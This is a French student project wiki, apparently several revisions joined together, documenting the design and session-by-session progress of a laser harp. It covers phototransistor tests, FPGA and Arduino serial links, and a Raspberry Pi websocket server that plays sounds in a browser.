Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T10:04:40Z

Bcartier : /* Séance supplémentaire 1 : Réalisation du site Web */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}

Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était de modifier la valeur de test1.src. Mais cela voulait dire effectuer beaucoup de traitement coté client, et si on décidait de rajouter beaucoup de son, ou de générer de nouveaux fichiers son, ce la demandait soit de modifier le HTML à chaque ajout de fonctionnalité, ou de créer une grande quantité de fichier son qui pollueraient le serveur. Nous avons donc décidé qu'il serait plus pratique de toujours écraser la source avec le nouveau son a lire, et de ne jamais changer la valeur de test1.src.

Afin d'effectuer des tests afin de voir si notre idée marchait bien, nous avons utiliser le code C très simple suivant :

int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}

Ce code nous permet de modifier assez fréquemment le fichier source. Les fichiers audio de tests ont été trouvé sur http://www.orangefreesounds.com/ et sont libre de droit.

Dans la page HTML de test nous utilisé les options de la balise source suivante :

test1.loop = true;

qui permet au son de se jouer en boucle.

Bien que les fichiers soit bien modifiés en local sur le serveur, toujours le même son est joué.

On a donc testé de recharger le son uniquement lorsque le son est modifié, avec un envoi de message du serveur par socket.
Le serveur est conçu tel que suit :
while(1){
int cpt;
bool boole;
boole = 1;
for (cpt = 0; cpt < 50000; cpt++);

boole = !boole;

if(boole)
system("cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("cp Raindrops-noise.mp3 ./sound.mp3");

libwebsocket_write(test,(unsigned char *)out,1,LWS_WRITE_TEXT);

}
libwebsocket_context_destroy(context);
return 0;
}

On modifie la source, et ensuite on envoi un message, dont le contenu n'est pas important, le message sert juste d'indication au client que la source a changé.

Le code coté client :

websocket.onmessage=function(message){
test1.pause();
test1.load();
test1.play();
};

A la réception d'un message, on pause le son avec test1.pause() puis on recharge le son afin d'aller chercher la valeur actuelle de la source, puis on relance le son avec test1.play().
D'après la documentation technique de HTML5, la fonction load() est sensé recharger la source si elle a changé, mais le résultat de ce test n'est pas concluant : le client joue toujours le même son.
Nous ne comprenons pas pourquoi.

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

Après de nombreux tests sur la communication entre le serveur et le client web et le problème de toujours lire le même son, même si la source a été modifié, il s'est avéré que le client lisait toujours le même son quoi qu'il arrive, même si le fichier cible n’existait plus sur le serveur. Comprendre pourquoi a nécessité quelque recherche et la source du problème était la suivante : les navigateurs utilisés, Mozilla Firefox et Google Chrome, mettaient en cache le fichier son à la première lecture, et ne vérifiait plus l'état du fichier sur le serveur, fichier qui donc pouvait être modifié sans que cela n'ai un impact sur le déroulement coté client. Il a fallut trouver un moyen de contourner le cache. N'ayant aucune connaissance sur le domaine, les recherches ont été infructueuses. Suite à une conversation avec M. Rudametkin, nous avons été orienté vers ce lien https://stackoverflow.com/questions/1077041/refresh-image-with-a-new-one-at-the-same-url/1077051#1077051 qui nous a permit de résoudre le problème.
En utilisant la commande :

test1.src="sound.mp3?"+ new Date().getTime();

nous trompons le cache en forçant la revérification de la source sur le serveur. Grâce a cette méthode nous avons enfin réussi à modifier le son joué par le client, et nous avons pu passer à la gestion de la communication série entre le RPi et le FPGA/Arduino.

Le code fonctionnel de la page web est le suivant :

<code><pre><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<audio controls="controls" id="mySound">
</audio>
<script
src="jquery.js"></script>
<script type="text/javascript">
window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://10.42.93:9000','myprotocol');
var test1 = document.getElementById("mySound");
test1.src="sound.mp3";
test1.autoplay = true;
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
test1.pause();
test1.src="sound.mp3?"+ new Date().getTime();
test1.load();
test1.play();
};
var son = document.getELementById("sound");
son.loop = true;
</script>
</head>
<body>
<h1>WebSockets test</h1>
<input type="text" id="message"/>
<button onclick="sendMessage();">Send</button>
<div id="messages"></div>
</body>
</html>
</pre></code>

Ce code n'est pas la version final, juste l'ensemble des parties logiques et fonctionnelles de la page web.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T10:03:00Z

Bcartier : /* Séance supplémentaire 1 : Réalisation du site Web */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}

Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

